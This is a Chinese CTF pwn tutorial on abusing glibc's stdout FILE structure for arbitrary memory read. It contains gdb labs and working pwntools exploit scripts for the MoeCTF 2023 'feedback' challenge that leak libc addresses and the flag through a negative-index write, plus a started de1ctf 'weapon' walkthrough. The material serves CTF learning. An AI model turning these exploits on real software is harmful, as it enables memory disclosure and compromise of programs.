基础知识
bss段与stdin、out、err
在有些情况,程序中的bss
段其实保存着stdin
、stdout
、stderr
这三个IO
结构体的地址。
大概率应该是因为这三句初始化输入输出的语句,需要用到stdin
、stdout
、stderr
。
1 2 3 setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL );
缓冲区
缓冲区是一块用于临时存储数据的区域,通常用于平衡数据生产者和数据消费者之间速度的差异。例如当我们调用printf()
、fgets
这种比较上层分装的IO
函数。它们就会先将数据读(写)入缓冲区(这一部分是由stdin(stdout)管理),然后再从中取出数据,放进对应的地址中。当满足一定条件时就会触发缓冲区刷新 也就会将在缓冲区的数据读(写)入对应的目标地址中去。这样就完成了一次与设备与内存之间的(读)写。
缓冲区刷新 可以在下面这几种情况下发生:
缓冲区满 :当缓冲区写满的时候,系统会自动将缓冲区中的数据写入到实际的输出设备,并清空缓冲区,接着等待之后的数据进入缓冲区
手动刷新 :C语言程序提供一个函数fflush(FILE *stream)
函数来手动刷新缓冲区。
正常退出 :当程序正常退出的时候(即调用glibc
中的exit()
,而不是直接syscall exit
)此时所有打开的文件都会自动刷新缓冲区
行缓冲模式 :对于行缓冲模式(通常是标准输出stdout
在交互模式下默认的模式),在输出新行字符\n
时会自动刷新缓冲区。
输入输出缓冲模式
对于上面的一个setvbuf()
函数到底是什么东西呢?其实该函数是用来设置输入、输出缓冲模式的。缓冲模式分为以下三种:
无缓冲模式
:调用上层IO
函数时会,会直接写入或读入到目标位置,不会数据不会呆在缓冲区。
行缓冲模式
:输入输出的数据一开始会被放入到缓冲区中,但是当缓冲区中有\n
存进来就会立即刷新缓冲区,将数据写入或读入到目标地址。
全缓冲模式
:只有当缓冲区数据存储满后,才会进行刷新缓冲区的操作。或者当退出程序的时候libc_start_call_main
会调用libc
中的exit
函数,这样它就会刷新缓冲区。
对与这三种模式,在stdio.h
头文件中有这几个函数可以用于设置的,可以在Linux中使用man
函数查看,其中setvbuf()
这个函数比较全面,对于全缓冲还可以设置缓冲区的地址:
void setbuf(FILE *stream, char *buf)
void setbuffer(FILE *stream, char *buf, size_t size)
void setlinebuf(FILE *stream)
int setvbuf(FILE *stream, char *buf, int mode, size_t size)
实验
对于利用stdout
实现地址任意读,主要关注IO_FILE
的这几个成员,对于实验中的几个lab
,将分别设置stdout
为无缓冲、行缓冲、全缓冲
模式,观察这三种模式下调用上层的输入输出函数如下的几个成员数据的变化。最后再做一个使用stdout
实现任意地址读的这些数据应该如何构造的一个总结。
1 2 3 4 5 6 7 8 9 int _flags; char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end;
lab1_无缓冲模式
1 2 3 4 5 6 7 8 #include <stdio.h> int main () { setvbuf(stdout ,0 ,_IONBF,0 ); printf ("Hello world!" ); return 0 ; }
编译完之后使用gdb
进行调试,在还没有调用setvbuf
之前,stdout
的结构体成员中的数据如下:
当我们调用setvbuf
设置成无缓冲模式后,stdout
的IO_FILE
结构体如下:
当调用printf
这个上层函数会做什么操作呢?接下来看看
lab2_行缓冲模式
1 2 3 4 5 6 7 8 #include <stdio.h> int main () { setvbuf(stdout ,0 ,_IOLBF,0 ); printf ("Hello world_printf!" ); puts ("Hello world_puts!" ); return 0 ; }
接下来再看看行缓冲模式stdout
的IO_FILE
情况
当使用setvbuf()
将其设置为行缓冲模式,其IO_FILE
就会出现如下情形
之后先调用一次printf
函数,发现调用printf
函数时程序并不会马上输出printf
函数所要打印的值
但是stdout
的IO_FILE
里面的值却有变化了,并且程序还调用了malloc
申请了一个chunk
当做缓冲区
现在调用一下puts
函数,看看会出现什么结果,调用结束后发现会将之前printf
的输出内容也输出出来,这其实就是遇到\n
缓冲区刷新了。
lab3_全缓冲模式
1 2 3 4 5 6 7 #include <stdio.h> int main () { setvbuf(stdout ,0 ,_IOFBF,0 ); printf ("Hello world!" ); return 0 ; }
在调用setvbuf
将stdout
设置为全缓冲后,stdout
的结构体如下:
当我们调用printf
函数进行输出时会发现没有内容输出,再看stdout
这个结构体,会发现_IO_read_ptr到_IO_write_base
的值已经改变
lab4_任意地址读
在做该实验之前,再了解一下缓冲区的宏定义,首先需要明确一点,要将一些东西附带输出出来,修改_flag
位时就必须使用如下几个宏定义:
#define _IO_MAGIC 0xFBAD0000
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式(在文件末尾追加内容) */
当然其实也可以像lab2
和lab3
那样修改缓冲模式,但是修改_flag
的值更一般是0xFBAD1800
(通过比较多的实验后,得出使用0xFBAD1800
这个值作为_flag
的值会更好会更方便,有的时候只需要改2
处或者3
处即可。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define _IO_MAGIC 0xFBAD0000 #define _OLD_STDIO_MAGIC 0xFABC0000 #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 1 #define _IO_UNBUFFERED 2 #define _IO_NO_READS 4 #define _IO_NO_WRITES 8 #define _IO_EOF_SEEN 0x10 #define _IO_ERR_SEEN 0x20 #define _IO_DELETE_DONT_CLOSE 0x40 #define _IO_LINKED 0x80 #define _IO_IN_BACKUP 0x100 #define _IO_LINE_BUF 0x200 #define _IO_TIED_PUT_GET 0x400 #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_BAD_SEEN 0x4000 #define _IO_USER_LOCK 0x8000
理解了无缓冲
、行缓冲
、全缓冲
模式下stdout
结构体成员值的一些变化后,我们是否能修改stdout
结构体成员里面的值,使得在调用上层的输出函数时,能将一些libc
地址等给顺带打印出来呢?接下来就看看下面的实验示例。
lab4
主要介绍的是无缓冲模式下如何修改stdout
结构体的值(一般题目都是无缓冲模式,其他模式比较少见)首先是在不修改_flag
值下修改其他相关成员,修改后其实就会再程序结束调用exit()
后将内容都打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <string.h> #include <stdlib.h> int main () { unsigned long long int * got_adr = 0x601018 ; setvbuf(stdout ,0 ,_IONBF,0 ); printf ("%d" ,1 ); printf ("\n%p" ,*got_adr); unsigned long long int addr = *got_adr + 0x374140 ; int fd = open("./flag1" ,0 ,0 ); read(fd,addr,0x12 ); unsigned long long int *ptr = stdout ; ptr[1 ] = addr; ptr[2 ] = addr; ptr[3 ] = addr; ptr[4 ] = addr; ptr[5 ] = addr+0x12 ; ptr[6 ] = addr+0x20 ; ptr[7 ] = addr; ptr[8 ] = addr+0x20 ; printf ("Hello world" ); return 0 ; }
接下来调试一下,在执行printf("Hello world");
的时候stdout
已经被修改成了这样
调用完printf("Hello world");
后发现要打印的字符串内容并没有输出
接下来如果我们修改_flag
为0xFBDA1800
呢,接下来查看如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <stdio.h> #include <string.h> #include <stdlib.h> int main () { puts ("1" ); unsigned long long int * got_adr = 0x601020 ; setvbuf(stdout ,0 ,_IONBF,0 ); printf ("%d" ,1 ); printf ("\n%p" ,*got_adr); unsigned long long int addr = *got_adr + 0x374140 ; int fd = open("./flag1" ,0 ,0 ); read(fd,addr,0x12 ); unsigned long long int *ptr = stdout ; ptr[0 ] = 0xFBAD1800 ; ptr[4 ] = addr; ptr[5 ] = addr+0x12 ; ptr[6 ] = addr; puts ("Hello world" ); return 0 ; }
接下来调试看看,在调用puts("hello world")
之前已经将stdout
变成了这样,其实只要修改_IO_write_ptr、base、end
即可
调用执行puts("Hello world");
这句后马上就能将flag输出出来,如果puts
换成printf
其实也是可以的。
还有_IO_read
相关指针其实设置为0
也是可以的,_IO_buf
相关指针设置为0
也是能输出的
题目1_MoeCTF_2023 feedback(改)
这题给了源码,但是libc
版本是2.31
的,所以我稍微修改了一下源码,在glibc2.23
的环境下进行编译。改编后的题目会比原题简单 ,主要是为了理解stdout
如何实现任意地址写。
改编后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char * feedback_list[4 ];void init () { setvbuf(stdin ,0 ,_IONBF,0 ); setvbuf(stdout ,0 ,_IONBF,0 ); setvbuf(stderr ,0 ,_IONBF,0 ); } void read_flag () { int fd = open("./flag" , 0 , 0 ); char *p; if (fd == -1 ) { puts ("open flag error!" ); exit (0 ); } malloc (0x1000 ); char * flag = malloc (0x1000 ); if (!flag) { puts ("malloc error!" ); exit (0 ); } read(fd, flag, 0x50 ); close(fd); printf ("a gift: %p\n" ,flag); } int read_num () { char str[0x10 ]; read(0 , str, 0xf ); return atoi(str); } void read_str (char * str) { int i; char ch; char buf[0x48 ]; read(0 , str, 0x48 ); } void print_feedback () { puts ("Your feedback is: " ); for (int i = 1 ; i < 4 ; i++) printf ("%d. %s\n" , i, feedback_list[i]); } void vuln () { int i, index; puts ("Can you give me your feedback?" ); puts ("There are some questions." ); puts ("1. What do you think of the quality of the challenge this time?" ); puts ("2. Give me some suggestions." ); puts ("3. Please give me your ID." ); feedback_list[0 ] = 0 ; for (i = 1 ; i < 4 ; i++) feedback_list[i] = malloc (0x50 ); for (i = 0 ; i < 3 ; i++) { puts ("Which list do you want to write?" ); index = read_num(); if (index > 3 ) { puts ("No such list." ); continue ; } puts ("Then you can input your feedback." ); read_str(feedback_list[index]); print_feedback(); } _exit(0 ); } int main () { init(); read_flag(); vuln(); return 0 ; }
题目1_分析1
直接使用IDA pro
逆向这个程序。main
函数调用了这三个函数
read_flag
这个函数
打开了flag
文件,并且申请了两个堆块
将flag
文件的内容输入到其中一个堆块中
将堆块的地址告诉我们
vuln()
函数如下:
puts输出没什么作用的菜单
然后申请三个堆块并将三个堆块的地址放入到feedback_list
中
之后让用户选择一个堆块索引,并且向堆块索引中向指定堆地址写入用户想要的内容,注意用户输入的时候可以输入一个负值,导致数组越界
在每次read_str
后程序还会将3个堆块中的数据全部打印出来
接下来再看看.bss
段这边,其实我们会发现feedback_list
上面一点其实就存放着stdout
的地址,此时我们可以使用数组越界来对stdout
这个FILE
结构体进行修改,使得print_feedback()
会将flag顺带打印出来
题目1_分析2
首先我们先将gift
接收一下和feedback_list到stdout
的偏移计算一下
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level = 'debug' context.terminal = ["tmux" , "neww" ] p = process('./feedback2' ) p.recvuntil('a gift: ' ) heap_addr = p.recvline()[:-1 ].decode() log.success("gitf: " +heap_addr) heap_addr = int (heap_addr,16 ) flag = 0xFBAD1800 p.sendlineafter(b'Which list do you want to write?\n' ,b'-8' )
现在先来确定一下flag
的位置,其实flag
的起始地址就是gift
发送过来的地址
那么我们其实可以设置_IO_write_base = buf
,而_IO_write_ptr = buf+len(flag)
至少要设置到这么多,之后_IO_write_end = buf + 0x50
,注意一般输出逻辑是将从base输出到ptr ,而不是从base输出到end。
并且需要满足base <= ptr <=end
否则输出的时候会有很多问题。所以接下来进行如下stdout
修改
1 2 3 4 5 6 7 8 9 10 payload = p64(flag) payload+= p64(0 ) payload+= p64(0 ) payload+= p64(0 ) payload+= p64(heap_addr) payload+= p64(heap_addr+0x30 ) payload+= p64(heap_addr+0x50 ) gdb.attach(p) p.sendline(payload) p.interactive()
修改后,在调用puts("Which list do you want to write?");
的是就会将flag
打印出来
题目1_exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = 'debug' context.terminal = ["tmux" , "neww" ] p = process('./feedback2' ) p.recvuntil('a gift: ' ) heap_addr = p.recvline()[:-1 ].decode() log.success("gitf: " +heap_addr) heap_addr = int (heap_addr,16 ) flag = 0xFBAD1800 p.sendlineafter(b'Which list do you want to write?\n' ,b'-8' ) payload = p64(flag) payload+= p64(0 ) payload+= p64(0 ) payload+= p64(0 ) payload+= p64(heap_addr) payload+= p64(heap_addr+0x30 ) payload+= p64(heap_addr+0x50 ) gdb.attach(p) p.sendline(payload) p.interactive()
题目2_MoeCTF_2023 feedback(原)
接下来直接使用Docker
文件,在glibc2.31
分析一下原题。与修改的题相比,原题还需要先泄露一下libc
的地址。
题目2_分析1
原题目的程序逻辑与题目1的程序逻辑差不多,主要就是read_flag
这个地方,这个地方并不是将flag
放到malloc
申请的堆块中,而是放到libc
中的某个位置,其他的都没什么变化
题目2_分析2
接下来就调试一下这个程序,调试前先查看一下题目附件看看程序保护机制如何,发现是保护全开的。
保护全开就导致了没有办法知道程序的基地址,而现在我们又不知道libc地址,所以一开始不知道libc
的地址应该如何操作呢,接下来就动态调试一下。
在调试的过程中,其实可以发现_IO_write_base
等一些列IO
结构体成员其值其实为0x7f50e8beb723 <_IO_2_1_stdout_+131>
并且write
的顺序其实是_IO_write_base
`_IO_write_ptr` _IO_write_end
这样的一个顺序,所以溢出修改的时候其实也是按照这个修改顺序。
这样一来的话其实很好操作,溢出只_IO_write_base
的最末尾一个字节,由于_IO_write_ptr
指向的是_IO_2_1_stdout_+131
,那么其实输出的时候就会将0x7fxxxxxx00
到0x7fxxxxxx723
之间的数据输出
这样一来其实就能利用off-by
漏洞导致libc的地址泄露,记下来先进行泄露,泄露的其实是这样的
但是在调试的时候会发现,泄露的一个0x7fxxx
的地址其实是stdin
的地址
这样其实就能确定libc
的基地址,从而确定puts
函数的地址。现在puts
的地址已经有了直接就可以计算得到flag
的地址
1 2 3 4 5 6 libc_base = stdin_addr + 3600 - libc.symbols['stdin' ] puts_addr = libc_base + libc.symbols['puts' ] log.info("stdin_offset:" +hex (libc.symbols['stdin' ])) log.info("libc_base:" +hex (libc_base)) log.info("puts_addr:" +hex (puts_addr)) p.interactive()
得到flag
的地址其实就可以继续修改stdout
的结构体。实际上flag
的真实地址与程序read
的地址会有点偏差
打远程看看,打远程由于偏移的原因需要稍微的爆破才可以
题目2_exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context.log_level = 'debug' for i in range (100 ): p = remote('ip' ,9005 ) libc = ELF("./libc.so.6" ) p.sendlineafter(b'Which list do you want to write?\n' ,b'-8' ) pause() flag = 0xfbad1800 payload = p64(flag) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p8(0x00 ) p.sendlineafter(b'Then you can input your feedback.' ,payload) pause() try : stdin_addr = p.recvuntil(b'\x7f' )[-6 :] except : p.close() continue log.success("stdin_addr:" + stdin_addr.hex ()) stdin_addr = u64(stdin_addr.ljust(8 ,b'\x00' )) log.success("stdin_addr:" + hex (stdin_addr)) libc_base = stdin_addr + 3600 - libc.symbols['stdin' ] puts_addr = libc_base + libc.symbols['puts' ] flag_addr = puts_addr + 1495776 log.info("stdin_offset:" +hex (libc.symbols['stdin' ])) log.info("libc_base:" +hex (libc_base)) log.info("puts_addr:" +hex (puts_addr)) log.info("flag_addr:" +hex (flag_addr)) payload = p64(flag) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(flag_addr) payload += p64(flag_addr+0x60 ) payload += p64(flag_addr+0xa0 ) pause() p.sendline(b'-8' ) pause() p.sendline(payload) p.interactive()
题目3_de1ctf_2019_weapon
题目3_分析1
然后再查看一下反编译的程序main
函数如下,经典的堆菜单题目。
恢复结构题和修改变量和函数名称后add()
函数如下:
输入要申请的堆块大小和存储堆块地址和大小的索引
然后往堆块中输入内容
注意 :这里有机会出现负索引
再来看看del()函数
其实就是输入一个索引,释放索引中的堆块
但是这里释放后并没有将堆块的地址设置为0
,所以存在UAF
漏洞
在查看一个rename
相关功能:
输入一个堆块索引,向堆块地址中写入内容
但是这里注意该索引其实可以是负索引
题目3_分析2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context.log_level = 'debug' p = process("./de1ctf_2019_weapon" ) def add (size,index,context ): p.sendlineafter(b'choice >> \n' ,b'1' ) p.sendlineafter(b'size of weapon:' ,str (size).encode()) p.sendlineafter(b'input index:' ,str (index).encode()) p.sendlineafter(b'input your name:\n' ,context) def delete (index ): p.sendlineafter(b'choice >> \n' ,b'2' ) p.sendlineafter(b'input idx :' ,str (index).encode()) def rename (index,context ): p.sendlineafter(b'choice >> \n' ,b'3' ) p.sendlineafter(b'input idx:' ,str (index).encode()) p.sendlineafter(b'new content:\n' ,context) p.interactive()
题目3_exp